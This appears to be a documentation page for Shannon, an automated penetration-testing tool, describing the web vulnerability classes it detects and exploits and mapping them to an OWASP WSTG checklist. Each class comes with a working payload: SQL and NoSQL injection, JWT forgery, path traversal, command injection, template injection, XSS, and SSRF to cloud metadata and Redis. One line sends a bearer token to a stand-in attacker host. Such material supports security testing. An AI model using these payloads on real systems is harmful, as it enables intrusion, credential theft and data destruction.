Skip to main content

Documentation Index

Fetch the complete documentation index at: https://mintlify.com/KeygraphHQ/shannon/llms.txt

Use this file to discover all available pages before exploring further.

Shannon targets five major vulnerability classes based on the OWASP Top 10 and OWASP API Security Top 10. Every vulnerability must be successfully exploited with a working proof-of-concept to be included in reports.

Covered vulnerability classes

Broken authentication

Authentication vulnerabilities allow attackers to bypass or compromise user authentication mechanisms.
Description: Direct SQL injection in login forms enabling authentication without valid credentialsDetection: Shannon analyzes login endpoints for string interpolation in SQL queriesExploitation:
curl -X POST /api/login \
  -d '{"email":"admin'\''--","password":"irrelevant"}'
Impact: Complete authentication bypass, admin accessExample: Juice Shop INJ-VULN-01
Description: JWT libraries accepting symmetric algorithm (HS256) when configured for asymmetric (RS256)Detection: Shannon tests JWT validation by signing tokens with the public key using HMACExploitation:
import jwt
forged = jwt.encode({'user': 'admin'}, public_key, algorithm='HS256')
Impact: Authentication bypass, privilege escalationExample: crAPI AUTH-VULN-01
Description: JWT validation accepting unsigned tokens with algorithm set to “none”Detection: Shannon submits tokens with alg:none header and no signatureExploitation:
TOKEN=$(echo '{"alg":"none"}' | base64).\
$(echo '{"user":"admin"}' | base64).
Impact: Universal authentication bypassExample: crAPI AUTH-VULN-02
Description: No password complexity requirements or account lockoutDetection: Shannon attempts registration with weak passwords and brute force attacksImpact: Account compromise via brute force
Description: Systems with unchanged default usernames and passwordsDetection: Shannon tests common default credentials (admin/admin, root/root, etc.)Impact: Immediate administrative access

Broken authorization

Authorization vulnerabilities allow attackers to access resources or perform actions beyond their privileges.
Description: Predictable object identifiers without ownership validationDetection: Shannon enumerates IDs and tests access across user contextsExploitation:
# Regular user accessing user ID 1 (admin)
curl -H "Authorization: Bearer $USER_TOKEN" \
  http://app.com/api/users/1
Impact: Horizontal privilege escalation, data disclosureExample: Juice Shop AUTHZ-VULN-03, crAPI AUTHZ-VULN-01
Description: Unfiltered input allowing modification of privileged object fieldsDetection: Shannon includes privileged fields (role, admin, permissions) in update requestsExploitation:
curl -X PUT /api/profile \
  -d '{"email":"user@example.com","role":"admin"}'
Impact: Privilege escalation from regular user to adminExample: ctal AUTHZ-VULN-01, Juice Shop AUTHZ-VULN-01
Description: Admin endpoints accessible to regular users due to missing role checksDetection: Shannon tests admin endpoints with regular user tokensImpact: Administrative functionality abuseExample: crAPI AUTHZ-VULN-04
Description: Path manipulation enabling access to files outside intended directoryDetection: Shannon tests file parameters with ../ sequencesExploitation:
curl http://app.com/download?file=../../../../etc/passwd
Impact: Arbitrary file read, configuration disclosure

Injection attacks

Injection vulnerabilities occur when untrusted data is sent to an interpreter as part of a command or query.
Description: SQL injection enabling data extraction via UNION SELECTDetection: Shannon tests for SQL errors, then extracts data using UNION queriesExploitation:
curl "http://app.com/search?q=x'%20UNION%20SELECT%20username,password%20FROM%20users--"
Impact: Complete database compromise, credential theftExample: Juice Shop INJ-VULN-02, crAPI INJ-VULN-01
Description: Blind SQL injection using time delays to infer dataDetection: Shannon injects sleep() commands and measures response timesExploitation:
# PostgreSQL
curl "http://app.com/api/product/123'%20AND%20pg_sleep(5)--"

# MySQL
curl "http://app.com/api/product/123'%20AND%20sleep(5)--"
Impact: Data exfiltration via boolean queriesExample: crAPI INJ-VULN-02
Description: NoSQL operator injection in MongoDB queriesDetection: Shannon injects MongoDB operators (ne,ne, gt, $regex)Exploitation:
{"username": {"$ne": null}, "password": {"$ne": null}}
Impact: Authentication bypass, data extractionExample: Juice Shop INJ-VULN-04
Description: OS command execution via unsanitized user inputDetection: Shannon injects shell metacharacters and tests for command executionExploitation:
curl -X POST /api/debug/exec \
  -d '{"command":"ls;cat /etc/passwd"}'
Impact: Complete server compromise, RCEExample: ctal INJ-VULN-01 (root-level execution)
Description: Template engine code execution via user-controlled templatesDetection: Shannon tests template expressions ({{7*7}}, ${7*7}) and checks for evaluationExploitation:
# Jinja2
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Handlebars
{{#with "s" as |string|}}
  {{#with "e"}}
    {{lookup string.sub "constructor"}}
  {{/with}}
{{/with}}
Impact: Remote code execution

Cross-site scripting (XSS)

XSS vulnerabilities allow attackers to inject malicious scripts into web pages viewed by other users.
Description: User input immediately reflected in HTTP response without sanitizationDetection: Shannon injects XSS payloads into parameters and checks for executionExploitation:
<script>alert(document.cookie)</script>
<img src=x onerror=alert(1)>
<iframe src="javascript:alert('XSS')">
Impact: Session hijacking, credential theft, defacementExample: Juice Shop XSS-VULN-01
Description: Malicious script stored in database and executed when viewed by usersDetection: Shannon submits XSS payloads via forms and checks rendering contextsImpact: Persistent XSS affecting all users, worm potential
Description: Client-side script execution via unsafe JavaScript sinksDetection: Shannon analyzes JavaScript code for unsafe sinks (innerHTML, eval, document.write)Exploitation:
// Payload in URL fragment
http://app.com/#<img src=x onerror=alert(1)>
Impact: Client-side code execution
Description: Bypassing framework sanitization via encoding or polyglot payloadsDetection: Shannon tests framework-specific bypass techniquesExploitation:
<!-- Angular -->
<iframe src="javascript:alert(1)">

<!-- React -->
<a href="javascript:alert(1)">Click</a>
Impact: XSS in supposedly safe frameworksExample: Juice Shop XSS-VULN-01 (Angular bypass)

Server-side request forgery (SSRF)

SSRF vulnerabilities allow attackers to make requests from the server to internal or external systems.
Description: SSRF enabling access to internal services not exposed to internetDetection: Shannon tests URL parameters with internal IPs and localhostExploitation:
# Access Redis
curl -X POST /api/fetch \
  -d '{"url":"http://localhost:6379"}'

# Access internal admin panel
curl -X POST /api/fetch \
  -d '{"url":"http://internal-admin:8080/admin"}'
Impact: Internal network access, service enumerationExample: Juice Shop SSRF-VULN-01
Description: SSRF accessing cloud provider instance metadataDetection: Shannon tests metadata endpoints for AWS, GCP, AzureExploitation:
# AWS
curl -X POST /api/share/report \
  -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# GCP
curl -X POST /api/share/report \
  -d '{"url":"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}'
Impact: IAM credential theft, cloud account compromiseExample: crAPI SSRF-VULN-01
Description: SSRF automatically forwarding user’s authentication headersDetection: Shannon tests if Authorization headers are forwarded to attacker-controlled serversExploitation:
# Exfiltrate JWT to attacker server
curl -X POST /api/share/report \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"url":"http://attacker.com/collect"}'
Impact: Credential exfiltration, token theftExample: crAPI SSRF-VULN-01 (critical)
Description: SSRF using non-HTTP protocols for file read or protocol smugglingDetection: Shannon tests file:// for local file access and gopher:// for protocol smugglingExploitation:
# File protocol
curl -X POST /api/fetch \
  -d '{"url":"file:///etc/passwd"}'

# Gopher protocol (Redis exploitation)
curl -X POST /api/fetch \
  -d '{"url":"gopher://localhost:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a"}'
Impact: File read, service exploitation

WSTG checklist

Shannon’s coverage mapped to the OWASP Web Security Testing Guide (WSTG) v4.2:
Test IDTest NameStatus
WSTG-INFO-02Fingerprint web server✓
WSTG-INFO-06Identify application entry points✓
WSTG-INFO-07Map execution paths through application✓
WSTG-INFO-08Fingerprint web application framework✓
WSTG-INFO-09Fingerprint web application✓
WSTG-INFO-10Map application architecture✓
WSTG-CONF-01Test network infrastructure configuration✓
WSTG-CONF-10Test for subdomain takeover✓
Test IDTest NameStatus
WSTG-ATHN-01Credentials transported over encrypted channel✓
WSTG-ATHN-02Testing for default credentials✓
WSTG-ATHN-03Testing for weak lock out mechanism✓
WSTG-ATHN-04Testing for bypassing authentication schema✓
WSTG-ATHN-07Testing for weak password policy✓
WSTG-ATHN-08Testing for weak security question/answer✓
WSTG-ATHN-09Testing for weak password change/reset✓
WSTG-ATHN-10Testing for weaker authentication in alternative channel✓
WSTG-ATHN-11Testing multi-factor authentication (MFA)✓
Test IDTest NameStatus
WSTG-ATHZ-01Testing directory traversal/file include✓
WSTG-ATHZ-02Testing for bypassing authorization schema✓
WSTG-ATHZ-03Testing for privilege escalation✓
WSTG-ATHZ-04Testing for insecure direct object references✓
WSTG-ATHZ-05Testing for OAuth weaknesses✓
Test IDTest NameStatus
WSTG-SESS-01Testing for session management schema✓
WSTG-SESS-02Testing for cookies attributes✓
WSTG-SESS-03Testing for session fixation✓
WSTG-SESS-05Testing for Cross Site Request Forgery✓
WSTG-SESS-06Testing for logout functionality✓
WSTG-SESS-07Testing session timeout✓
WSTG-SESS-10Testing JSON Web Tokens✓
WSTG-SESS-11Testing for concurrent sessions✓
Test IDTest NameStatus
WSTG-INPV-01Testing for reflected cross site scripting✓
WSTG-INPV-02Testing for stored cross site scripting✓
WSTG-INPV-05Testing for SQL injection✓
WSTG-INPV-11Testing for code injection✓
WSTG-INPV-12Testing for command injection✓
WSTG-INPV-18Testing for server-side template injection✓
WSTG-INPV-19Testing for server-side request forgery✓
WSTG-CLNT-01Testing for DOM based cross site scripting✓
WSTG-CLNT-02Testing for JavaScript execution✓
WSTG-CLNT-03Testing for HTML injection✓
Test IDTest NameStatus
WSTG-APIT-01API reconnaissance✓
WSTG-APIT-02API broken object level authorization✓
WSTG-APIT-99Testing GraphQL✓
For the complete WSTG checklist with all 159 controls, see the COVERAGE.md file in the Shannon repository.

Coverage overview

High-level overview of Shannon’s testing philosophy and coverage

Benchmark results

96.15% success rate on XBOW benchmark

Sample reports

Real penetration testing results from vulnerable applications

Run your first test

Get started with Shannon in under 10 minutes

Build docs developers (and LLMs) love